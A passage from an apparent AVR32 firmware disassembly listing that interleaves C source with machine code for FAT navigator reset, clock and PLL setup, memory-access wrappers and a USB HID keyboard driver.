80006920 + fat_cache_clusterlist_reset(); +800068e2: f0 1f 00 11 mcall 80006924 + { + uint8_t i; + // Reset variables of each navigators + for( i=0 ; i!=FS_NB_NAVIGATOR ; i++ ) + { + nav_select(i); +800068e6: 30 0c mov r12,0 +800068e8: f0 1f 00 10 mcall 80006928 + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted +800068ec: 49 03 lddpc r3,8000692c +800068ee: a6 87 st.b r3[0x0],r7 + fs_g_nav.u8_lun = 0xFF; // By default don't select a drive +800068f0: 49 05 lddpc r5,80006930 +800068f2: 3f f4 mov r4,-1 +800068f4: aa 84 st.b r5[0x0],r4 +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +#endif + Fat_file_close(); // By default no file is opened +800068f6: 49 06 lddpc r6,80006934 +800068f8: ac 87 st.b r6[0x0],r7 + fs_g_nav.b_mode_nav_single = false; // By default display files and directories +800068fa: eb 67 00 2d st.b r5[45],r7 + { + uint8_t i; + // Reset variables of each navigators + for( i=0 ; i!=FS_NB_NAVIGATOR ; i++ ) + { + nav_select(i); +800068fe: 30 1c mov r12,1 +80006900: f0 1f 00 0a mcall 80006928 + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted +80006904: a6 87 st.b r3[0x0],r7 + fs_g_nav.u8_lun = 0xFF; // By default don't select a drive +80006906: aa 84 st.b r5[0x0],r4 +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +#endif + Fat_file_close(); // By default no file is opened +80006908: ac 87 st.b r6[0x0],r7 + fs_g_nav.b_mode_nav_single = false; // By default display files and directories +8000690a: eb 67 00 2d st.b r5[45],r7 + } + // By default select the navigator 0 + fs_g_u8_nav_selected = 0; +8000690e: 48 b8 lddpc r8,80006938 +80006910: b0 87 st.b r8[0x0],r7 +# if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +# endif + Fat_file_close(); // By default no file is opened +#endif // (FS_NB_NAVIGATOR > 1) +} +80006912: e3 cd 80 f8 ldm sp++,r3-r7,pc +80006916: 00 00 add r0,r0 +80006918: 00 00 add r0,r0 +8000691a: 06 d5 st.w --r3,r5 +8000691c: 00 00 add r0,r0 +8000691e: 04 56 eor r6,r2 +80006920: 80 00 ld.sh r0,r0[0x0] +80006922: 45 f4 lddsp r4,sp[0x17c] +80006924: 80 00 ld.sh r0,r0[0x0] +80006926: 3f 9c mov r12,-7 +80006928: 80 00 ld.sh r0,r0[0x0] +8000692a: 68 88 ld.w r8,r4[0x20] +8000692c: 00 00 add r0,r0 +8000692e: 06 d0 st.w --r3,r0 +80006930: 00 00 add r0,r0 +80006932: 06 84 andn r4,r3 +80006934: 00 00 add r0,r0 +80006936: 04 44 or r4,r2 +80006938: 00 00 add r0,r0 +8000693a: 07 4c ld.w r12,--r3 + +8000693c <_stext>: +8000693c: 48 dd lddpc sp,80006970 +8000693e: fe c0 ed 3e sub r0,pc,-4802 +80006942: e3 b0 00 01 mtsr 0x4,r0 +80006946: d5 53 csrf 0x15 +80006948: 48 b0 lddpc r0,80006974 +8000694a: 48 c1 lddpc r1,80006978 +8000694c: 02 30 cp.w r0,r1 +8000694e: c0 62 brcc 8000695a +80006950: 48 b2 lddpc r2,8000697c + +80006952 : +80006952: a5 05 ld.d r4,r2++ +80006954: a1 24 st.d r0++,r4 +80006956: 02 30 cp.w r0,r1 +80006958: cf d3 brcs 80006952 + +8000695a : +8000695a: 48 a0 lddpc r0,80006980 +8000695c: 48 a1 lddpc r1,80006984 +8000695e: 02 30 cp.w r0,r1 +80006960: c0 62 brcc 8000696c +80006962: 30 02 mov r2,0 +80006964: 30 03 mov r3,0 + +80006966 : +80006966: a1 22 st.d r0++,r2 +80006968: 02 30 cp.w r0,r1 +8000696a: cf e3 brcs 80006966 + +8000696c : +8000696c: fe cf f2 6c sub pc,pc,-3476 +80006970: 00 00 add r0,r0 +80006972: 80 00 ld.sh r0,r0[0x0] +80006974: 00 00 add r0,r0 +80006976: 00 08 add r8,r0 +80006978: 00 00 add r0,r0 +8000697a: 00 f0 st.b --r0,r0 +8000697c: 80 00 ld.sh r0,r0[0x0] +8000697e: 80 90 ld.uh r0,r0[0x2] +80006980: 00 00 add r0,r0 +80006982: 00 f0 st.b --r0,r0 +80006984: 00 00 add r0,r0 +80006986: 07 58 ld.sh r8,--r3 + +80006988 : +} +#endif // CONFIG_USBCLK_SOURCE + + +void sysclk_init(void) +{ +80006988: d4 01 pushm lr + + if (pbb_shift > 0) + cksel |= ((pbb_shift - 1) << AVR32_PM_CKSEL_PBBSEL) + | (1U << AVR32_PM_CKSEL_PBBDIV); + + AVR32_PM.cksel = cksel; +8000698a: fe 78 0c 00 mov r8,-62464 +8000698e: e0 69 00 80 mov r9,128 +80006992: ea 19 80 80 orh r9,0x8080 +80006996: 91 19 st.w r8[0x4],r9 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80006998: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +8000699c: d3 03 ssrf 0x10 +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + oscctrl = OSC0_STARTUP_VALUE << + AVR32_PM_OSCCTRL0_STARTUP_OFFSET; + oscctrl |= OSC0_MODE_VALUE << AVR32_PM_OSCCTRL0_MODE_OFFSET; + AVR32_PM.oscctrl0 = oscctrl; +8000699e: e0 6a 03 07 mov r10,775 +800069a2: 91 aa st.w r8[0x28],r10 + AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC0EN; +800069a4: 70 0a ld.w r10,r8[0x0] +800069a6: a3 aa sbr r10,0x2 +800069a8: 91 0a st.w r8[0x0],r10 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +800069aa: e3 b9 00 00 mtsr 0x0,r9 + cpu_irq_restore(flags); +} + +static inline bool osc_is_ready(uint8_t id) +{ + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_OSC0RDY + id))); +800069ae: 71 59 ld.w r9,r8[0x54] + * + * \param id A number identifying the oscillator to wait for. + */ +static inline void osc_wait_ready(uint8_t id) +{ + while (!osc_is_ready(id)) { +800069b0: e2 19 00 80 andl r9,0x80,COH +800069b4: cf d0 breq 800069ae +#ifdef BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + osc_enable(0); + osc_wait_ready(0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(BOARD_OSC0_HZ); +800069b6: e0 6c 1b 00 mov r12,6912 +800069ba: ea 1c 00 b7 orh r12,0xb7 +800069be: f0 1f 00 08 mcall 800069dc + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +800069c2: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +800069c6: d3 03 ssrf 0x10 + irqflags_t flags; + + Assert(src <= SYSCLK_SRC_PLL0); + + flags = cpu_irq_save(); + mcctrl = AVR32_PM.mcctrl & ~AVR32_PM_MCCTRL_MCSEL_MASK; +800069c8: fe 78 0c 00 mov r8,-62464 +800069cc: 70 0a ld.w r10,r8[0x0] +800069ce: e0 1a ff fc andl r10,0xfffc + mcctrl |= src << AVR32_PM_MCCTRL_MCSEL; +800069d2: a1 aa sbr r10,0x0 + AVR32_PM.mcctrl = mcctrl; +800069d4: 91 0a st.w r8[0x0],r10 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +800069d6: e3 b9 00 00 mtsr 0x0,r9 + +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + /* Signal that the internal frequencies are setup */ + sysclk_initialized = true; +#endif +} +800069da: d8 02 popm pc +800069dc: 80 00 ld.sh r0,r0[0x0] +800069de: 2d e0 sub r0,-34 + +800069e0 : + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +800069e0: e1 ba 00 00 mfsr r10,0x0 + cpu_irq_disable(); +800069e4: d3 03 ssrf 0x10 + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { +800069e6: fe 78 0c 00 mov r8,-62464 +800069ea: 71 59 ld.w r9,r8[0x54] +800069ec: e2 19 00 40 andl r9,0x40,COH +800069f0: cf d0 breq 800069ea + /* Do nothing */ + } + + /* Enable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); +800069f2: a3 6c lsl r12,0x2 +800069f4: e0 2c f3 f8 sub r12,62456 +800069f8: 78 08 ld.w r8,r12[0x0] + mask |= 1U << module_index; +800069fa: 30 19 mov r9,1 +800069fc: f2 0b 09 4b lsl r11,r9,r11 +80006a00: 10 4b or r11,r8 + *(&AVR32_PM.cpumask + bus_id) = mask; +80006a02: 99 0b st.w r12[0x0],r11 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006a04: e3 ba 00 00 mtsr 0x0,r10 + + cpu_irq_restore(flags); +} +80006a08: 5e fc retal r12 +80006a0a: d7 03 nop + +80006a0c : +/** + * \brief Enable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_enable_pbb_module(unsigned int index) +{ +80006a0c: eb cd 40 c0 pushm r6-r7,lr +80006a10: 18 97 mov r7,r12 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80006a12: e1 b6 00 00 mfsr r6,0x0 + cpu_irq_disable(); +80006a16: d3 03 ssrf 0x10 + irqflags_t flags; + + /* Enable the bridge if necessary */ + flags = cpu_irq_save(); + + if (!sysclk_pbb_refcount) +80006a18: 48 b8 lddpc r8,80006a44 +80006a1a: 11 89 ld.ub r9,r8[0x0] +80006a1c: 30 08 mov r8,0 +80006a1e: f0 09 18 00 cp.b r9,r8 +80006a22: c0 51 brne 80006a2c + * \brief Enable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_enable_hsb_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_HSB, index); +80006a24: 30 2b mov r11,2 +80006a26: 30 1c mov r12,1 +80006a28: f0 1f 00 08 mcall 80006a48 + sysclk_enable_hsb_module(SYSCLK_PBB_BRIDGE); + sysclk_pbb_refcount++; +80006a2c: 48 68 lddpc r8,80006a44 +80006a2e: 11 89 ld.ub r9,r8[0x0] +80006a30: 2f f9 sub r9,-1 +80006a32: b0 89 st.b r8[0x0],r9 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006a34: e3 b6 00 00 mtsr 0x0,r6 + + cpu_irq_restore(flags); + + /* Enable the module */ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBB, index); +80006a38: 0e 9b mov r11,r7 +80006a3a: 30 3c mov r12,3 +80006a3c: f0 1f 00 03 mcall 80006a48 +} +80006a40: e3 cd 80 c0 ldm sp++,r6-r7,pc +80006a44: 00 00 add r0,r0 +80006a46: 01 cd ld.ub sp,r0[0x4] +80006a48: 80 00 ld.sh r0,r0[0x0] +80006a4a: 69 e0 ld.w r0,r4[0x78] + +80006a4c : + * \pre The USB generick clock must be configurated to 48MHz. + * CONFIG_USBCLK_SOURCE and CONFIG_USBCLK_DIV must be defined with proper + * configuration. The selected clock source must also be configured. + */ +void sysclk_enable_usb(void) +{ +80006a4c: d4 01 pushm lr + struct genclk_config gcfg; + + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); +80006a4e: 30 1c mov r12,1 +80006a50: f0 1f 00 18 mcall 80006ab0 +80006a54: 30 3b mov r11,3 +80006a56: 30 1c mov r12,1 +80006a58: f0 1f 00 17 mcall 80006ab4 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80006a5c: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +80006a60: d3 03 ssrf 0x10 +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + oscctrl = OSC0_STARTUP_VALUE << + AVR32_PM_OSCCTRL0_STARTUP_OFFSET; + oscctrl |= OSC0_MODE_VALUE << AVR32_PM_OSCCTRL0_MODE_OFFSET; + AVR32_PM.oscctrl0 = oscctrl; +80006a62: fe 78 0c 00 mov r8,-62464 +80006a66: e0 6a 03 07 mov r10,775 +80006a6a: 91 aa st.w r8[0x28],r10 + AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC0EN; +80006a6c: 70 0a ld.w r10,r8[0x0] +80006a6e: a3 aa sbr r10,0x2 +80006a70: 91 0a st.w r8[0x0],r10 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006a72: e3 b9 00 00 mtsr 0x0,r9 + cpu_irq_restore(flags); +} + +static inline bool osc_is_ready(uint8_t id) +{ + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_OSC0RDY + id))); +80006a76: 10 99 mov r9,r8 +80006a78: 73 58 ld.w r8,r9[0x54] +80006a7a: e2 18 00 80 andl r8,0x80,COH +80006a7e: cf d0 breq 80006a78 + cfg->ctrl = 0; + + /* Bring the internal VCO frequency up to the minimum value */ + if ((vco_hz < PLL_MIN_HZ * 2) && (mul <= 8)) { + mul *= 2; + vco_hz *= 2; +80006a80: 30 88 mov r8,8 +static inline void pll_config_set_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl |= 1U << (AVR32_PM_PLL0_PLLOPT + option); +80006a82: a3 a8 sbr r8,0x2 +static inline void pll_enable(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl | (1U << AVR32_PM_PLL0_PLLEN); +80006a84: 31 09 mov r9,16 +80006a86: 20 19 sub r9,1 +80006a88: b1 69 lsl r9,0x10 +80006a8a: ea 19 3f 00 orh r9,0x3f00 +80006a8e: e8 19 02 01 orl r9,0x201 +80006a92: f3 e8 10 08 or r8,r9,r8 +80006a96: fe 79 0c 00 mov r9,-62464 +80006a9a: 93 88 st.w r9[0x20],r8 + +static inline bool pll_is_locked(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_LOCK0 + pll_id))); +80006a9c: 73 58 ld.w r8,r9[0x54] + */ +static inline int pll_wait_for_lock(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + while (!pll_is_locked(pll_id)) { +80006a9e: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80006aa2: cf d0 breq 80006a9c +} + +static inline void genclk_enable(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl | (1U << AVR32_PM_GCCTRL_CEN); +80006aa4: 30 69 mov r9,6 +80006aa6: fe 78 0c 00 mov r8,-62464 +80006aaa: f1 49 00 6c st.w r8[108],r9 + break; + } + + genclk_config_set_divider(&gcfg, CONFIG_USBCLK_DIV); + genclk_enable(&gcfg, AVR32_PM_GCLK_USBB); +} +80006aae: d8 02 popm pc +80006ab0: 80 00 ld.sh r0,r0[0x0] +80006ab2: 6a 0c ld.w r12,r5[0x0] +80006ab4: 80 00 ld.sh r0,r0[0x0] +80006ab6: 69 e0 ld.w r0,r4[0x78] + +80006ab8 : + + return nb_lun; +#else + return MAX_LUN; +#endif +} +80006ab8: 5e ff retal 1 +80006aba: d7 03 nop + +80006abc : + return LUN_ID_0; +} + + +Ctrl_status mem_test_unit_ready(U8 lun) +{ +80006abc: d4 01 pushm lr + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +80006abe: 58 0c cp.w r12,0 +80006ac0: c0 20 breq 80006ac4 +80006ac2: da 0a popm pc,r12=1 +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].test_unit_ready() : +80006ac4: 48 28 lddpc r8,80006acc +80006ac6: 70 0c ld.w r12,r8[0x0] +80006ac8: 5d 1c icall r12 +#endif + + Ctrl_access_unlock(); + + return status; +} +80006aca: d8 02 popm pc +80006acc: 80 00 ld.sh r0,r0[0x0] +80006ace: 7e e8 ld.w r8,pc[0x38] + +80006ad0 : + + +Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector) +{ +80006ad0: d4 01 pushm lr + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +80006ad2: 58 0c cp.w r12,0 +80006ad4: c0 20 breq 80006ad8 +80006ad6: da 0a popm pc,r12=1 +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].read_capacity(u32_nb_sector) : +80006ad8: 48 38 lddpc r8,80006ae4 +80006ada: 70 18 ld.w r8,r8[0x4] +80006adc: 16 9c mov r12,r11 +80006ade: 5d 18 icall r8 +#endif + + Ctrl_access_unlock(); + + return status; +} +80006ae0: d8 02 popm pc +80006ae2: 00 00 add r0,r0 +80006ae4: 80 00 ld.sh r0,r0[0x0] +80006ae6: 7e e8 ld.w r8,pc[0x38] + +80006ae8 : + + +U8 mem_sector_size(U8 lun) +{ +80006ae8: 58 0c cp.w r12,0 +#endif + + Ctrl_access_unlock(); + + return sector_size; +} +80006aea: 5f 0c sreq r12 +80006aec: 5e fc retal r12 +80006aee: d7 03 nop + +80006af0 : + + +Bool mem_wr_protect(U8 lun) +{ +80006af0: d4 01 pushm lr + Bool wr_protect; + + if (!Ctrl_access_lock()) return true; + + wr_protect = +80006af2: 58 0c cp.w r12,0 +80006af4: c0 20 breq 80006af8 +80006af6: da 0a popm pc,r12=1 +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].wr_protect() : +80006af8: 48 28 lddpc r8,80006b00 +80006afa: 70 2c ld.w r12,r8[0x8] +80006afc: 5d 1c icall r12 +#endif + + Ctrl_access_unlock(); + + return wr_protect; +} +80006afe: d8 02 popm pc +80006b00: 80 00 ld.sh r0,r0[0x0] +80006b02: 7e e8 ld.w r8,pc[0x38] + +80006b04 : + return status; +} + + +Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram) +{ +80006b04: eb cd 40 e0 pushm r5-r7,lr +80006b08: 18 97 mov r7,r12 +80006b0a: 16 95 mov r5,r11 +80006b0c: 14 96 mov r6,r10 + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(1); +80006b0e: 30 2c mov r12,2 +80006b10: f0 1f 00 09 mcall 80006b34 + status = +80006b14: 58 07 cp.w r7,0 +80006b16: c0 30 breq 80006b1c +80006b18: 30 17 mov r7,1 +80006b1a: c0 78 rjmp 80006b28 +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].ram_2_mem(addr, ram) : +80006b1c: 48 78 lddpc r8,80006b38 +80006b1e: 70 58 ld.w r8,r8[0x14] +80006b20: 0c 9b mov r11,r6 +80006b22: 0a 9c mov r12,r5 +80006b24: 5d 18 icall r8 +80006b26: 18 97 mov r7,r12 +#if LUN_USB == ENABLE + Lun_usb_ram_2_mem(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_write_action(); +80006b28: 30 2c mov r12,2 +80006b2a: f0 1f 00 05 mcall 80006b3c + + Ctrl_access_unlock(); + + return status; +} +80006b2e: 0e 9c mov r12,r7 +80006b30: e3 cd 80 e0 ldm sp++,r5-r7,pc +80006b34: 80 00 ld.sh r0,r0[0x0] +80006b36: 20 5c sub r12,5 +80006b38: 80 00 ld.sh r0,r0[0x0] +80006b3a: 7e e8 ld.w r8,pc[0x38] +80006b3c: 80 00 ld.sh r0,r0[0x0] +80006b3e: 20 ac sub r12,10 + +80006b40 : + */ +//! @{ + + +Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram) +{ +80006b40: eb cd 40 e0 pushm r5-r7,lr +80006b44: 18 97 mov r7,r12 +80006b46: 16 95 mov r5,r11 +80006b48: 14 96 mov r6,r10 + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(1); +80006b4a: 30 1c mov r12,1 +80006b4c: f0 1f 00 09 mcall 80006b70 + status = +80006b50: 58 07 cp.w r7,0 +80006b52: c0 30 breq 80006b58 +80006b54: 30 17 mov r7,1 +80006b56: c0 78 rjmp 80006b64 +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].mem_2_ram(addr, ram) : +80006b58: 48 78 lddpc r8,80006b74 +80006b5a: 70 48 ld.w r8,r8[0x10] +80006b5c: 0c 9b mov r11,r6 +80006b5e: 0a 9c mov r12,r5 +80006b60: 5d 18 icall r8 +80006b62: 18 97 mov r7,r12 +#if LUN_USB == ENABLE + Lun_usb_mem_2_ram(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_read_action(); +80006b64: 30 1c mov r12,1 +80006b66: f0 1f 00 05 mcall 80006b78 + + Ctrl_access_unlock(); + + return status; +} +80006b6a: 0e 9c mov r12,r7 +80006b6c: e3 cd 80 e0 ldm sp++,r5-r7,pc +80006b70: 80 00 ld.sh r0,r0[0x0] +80006b72: 20 5c sub r12,5 +80006b74: 80 00 ld.sh r0,r0[0x0] +80006b76: 7e e8 ld.w r8,pc[0x38] +80006b78: 80 00 ld.sh r0,r0[0x0] +80006b7a: 20 ac sub r12,10 + +80006b7c : + + +uint8_t udi_hid_kbd_getsetting(void) +{ + return 0; +} +80006b7c: 5e fd retal 0 +80006b7e: d7 03 nop + +80006b80 : + + +static bool udi_hid_kbd_setreport(void) +{ + if ((USB_HID_REPORT_TYPE_OUTPUT == (udd_g_ctrlreq.req.wValue >> 8)) +80006b80: 48 d8 lddpc r8,80006bb4 +80006b82: 90 18 ld.sh r8,r8[0x2] +80006b84: f5 d8 c1 08 bfextu r10,r8,0x8,0x8 +80006b88: 30 29 mov r9,2 +80006b8a: f2 0a 19 00 cp.h r10,r9 +80006b8e: c1 11 brne 80006bb0 +80006b90: 5c 58 castu.b r8 +80006b92: c0 f1 brne 80006bb0 +80006b94: 48 88 lddpc r8,80006bb4 +80006b96: 90 39 ld.sh r9,r8[0x6] +80006b98: 30 18 mov r8,1 +80006b9a: f0 09 19 00 cp.h r9,r8 +80006b9e: c0 91 brne 80006bb0 + && (0 == (0xFF & udd_g_ctrlreq.req.wValue)) + && (1 == udd_g_ctrlreq.req.wLength)) { + // Report OUT type on report ID 0 from USB Host + udd_g_ctrlreq.payload = &udi_hid_kbd_report_set; +80006ba0: 48 58 lddpc r8,80006bb4 +80006ba2: 48 69 lddpc r9,80006bb8 +80006ba4: 91 29 st.w r8[0x8],r9 + udd_g_ctrlreq.callback = udi_hid_kbd_setreport_valid; +80006ba6: 48 69 lddpc r9,80006bbc +80006ba8: 91 49 st.w r8[0x10],r9 + udd_g_ctrlreq.payload_size = 1; +80006baa: 30 19 mov r9,1 +80006bac: b0 69 st.h r8[0xc],r9 +80006bae: 5e ff retal 1 + return true; +80006bb0: 5e fd retal 0 +80006bb2: 00 00 add r0,r0 +80006bb4: 00 00 add r0,r0 +80006bb6: 04 28 rsub r8,r2 +80006bb8: 00 00 add r0,r0 +80006bba: 01 d9 ld.ub r9,r0[0x5] +80006bbc: 80 00 ld.sh r0,r0[0x0] +80006bbe: 6d cc ld.w r12,r6[0x70] + +80006bc0 : + +//-------------------------------------------- +//------ Internal routines + +static bool udi_hid_kbd_send_report(void) +{ +80006bc0: d4 01 pushm lr + if (udi_hid_kbd_b_report_trans_ongoing) +80006bc2: 48 e8 lddpc r8,80006bf8 +80006bc4: 11 89 ld.ub r9,r8[0x0] +80006bc6: 30 08 mov r8,0 +80006bc8: f0 09 18 00 cp.b r9,r8 +80006bcc: c0 20 breq 80006bd0 +80006bce: d8 0a popm pc,r12=0 + return false; + memcpy(udi_hid_kbd_report_trans, udi_hid_kbd_report, +80006bd0: 48 ba lddpc r10,80006bfc +80006bd2: 48 c8 lddpc r8,80006c00 +80006bd4: f0 e8 00 00 ld.d r8,r8[0] +80006bd8: f4 e9 00 00 st.d r10[0],r8 + UDI_HID_KBD_REPORT_SIZE); + udi_hid_kbd_b_report_valid = false; +80006bdc: 30 09 mov r9,0 +80006bde: 48 a8 lddpc r8,80006c04 +80006be0: b0 89 st.b r8[0x0],r9 + udi_hid_kbd_b_report_trans_ongoing = + udd_ep_run( UDI_HID_KBD_EP_IN, +80006be2: 48 a8 lddpc r8,80006c08 +80006be4: 30 89 mov r9,8 +80006be6: 30 0b mov r11,0 +80006be8: e0 6c 00 81 mov r12,129 +80006bec: f0 1f 00 08 mcall 80006c0c + if (udi_hid_kbd_b_report_trans_ongoing) + return false; + memcpy(udi_hid_kbd_report_trans, udi_hid_kbd_report, + UDI_HID_KBD_REPORT_SIZE); + udi_hid_kbd_b_report_valid = false; + udi_hid_kbd_b_report_trans_ongoing = +80006bf0: 48 28 lddpc r8,80006bf8 +80006bf2: b0 8c st.b r8[0x0],r12 + false, + udi_hid_kbd_report_trans, + UDI_HID_KBD_REPORT_SIZE, + udi_hid_kbd_report_sent); + return udi_hid_kbd_b_report_trans_ongoing; +} +80006bf4: d8 02 popm pc +80006bf6: 00 00 add r0,r0 +80006bf8: 00 00 add r0,r0 +80006bfa: 01 cf ld.ub pc,r0[0x4] +80006bfc: 00 00 add r0,r0 +80006bfe: 01 d0 ld.ub r0,r0[0x5] +80006c00: 00 00 add r0,r0 +80006c02: 01 dc ld.ub r12,r0[0x5] +80006c04: 00 00 add r0,r0 +80006c06: 01 ce ld.ub lr,r0[0x4] +80006c08: 80 00 ld.sh r0,r0[0x0] +80006c0a: 6c 10 ld.w r0,r6[0x4] +80006c0c: 80 00 ld.sh r0,r0[0x0] +80006c0e: 38 84 mov r4,-120 + +80006c10 : + +void udi_hid_kbd_report_sent(udd_ep_status_t status, iram_size_t nb_sent) +{ +80006c10: d4 01 pushm lr + udi_hid_kbd_b_report_trans_ongoing = false; +80006c12: 30 08 mov r8,0 +80006c14: 48 59 lddpc r9,80006c28 +80006c16: b2 88 st.b r9[0x0],r8 + if (udi_hid_kbd_b_report_valid) { +80006c18: 48 59 lddpc r9,80006c2c +80006c1a: 13 89 ld.ub r9,r9[0x0] +80006c1c: f0 09 18 00 cp.b r9,r8 +80006c20: c0 30 breq 80006c26 + udi_hid_kbd_send_report(); +80006c22: f0 1f 00 04 mcall 80006c30 +80006c26: d8 02 popm pc +80006c28: 00 00 add r0,r0 +80006c2a: 01 cf ld.ub pc,r0[0x4] +80006c2c: 00 00 add r0,r0 +80006c2e: 01 ce ld.ub lr,r0[0x4] +80006c30: 80 00 ld.sh r0,r0[0x0] +80006c32: 6b c0 ld.w r0,r5[0x70] + +80006c34 : + return true; +} + + +bool udi_hid_kbd_down(uint8_t key_id) +{ +80006c34: eb cd 40 80 pushm r7,lr + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80006c38: e1 b7 00 00 mfsr r7,0x0 + cpu_irq_disable(); +80006c3c: d3 03 ssrf 0x10 + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { + if (0 == udi_hid_kbd_report[i]) +80006c3e: 49 98 lddpc r8,80006ca0 +80006c40: 11 a8 ld.ub r8,r8[0x2] +80006c42: 58 08 cp.w r8,0 +80006c44: c2 10 breq 80006c86 + break; + if (key_id == udi_hid_kbd_report[i]) { +80006c46: f8 08 18 00 cp.b r8,r12 +80006c4a: c0 b0 breq 80006c60 +80006c4c: 49 59 lddpc r9,80006ca0 +80006c4e: 2f d9 sub r9,-3 +80006c50: 30 38 mov r8,3 + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { +80006c52: 30 8b mov r11,8 + if (0 == udi_hid_kbd_report[i]) +80006c54: 13 8a ld.ub r10,r9[0x0] +80006c56: 58 0a cp.w r10,0 +80006c58: c0 f0 breq 80006c76 + break; + if (key_id == udi_hid_kbd_report[i]) { +80006c5a: f8 0a 18 00 cp.b r10,r12 +80006c5e: c0 51 brne 80006c68 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80006c60: e3 b7 00 00 mtsr 0x0,r7 +#endif + barrier(); +80006c64: e3 cf 90 80 ldm sp++,r7,pc,r12=1 + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { +80006c68: 2f f8 sub r8,-1 +80006c6a: 5c 58 castu.b r8 +80006c6c: 2f f9 sub r9,-1 +80006c6e: f6 08 18 00 cp.b r8,r11 +80006c72: cf 11 brne 80006c54 +80006c74: c0 58 rjmp 80006c7e + cpu_irq_restore(flags); + return true; + } + } + + if (UDI_HID_KBD_REPORT_SIZE == i) { +80006c76: 30 89 mov r9,8 +80006c78: f2 08 18 00 cp.b r8,r9 +80006c7c: c0 61 brne 80006c88 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { 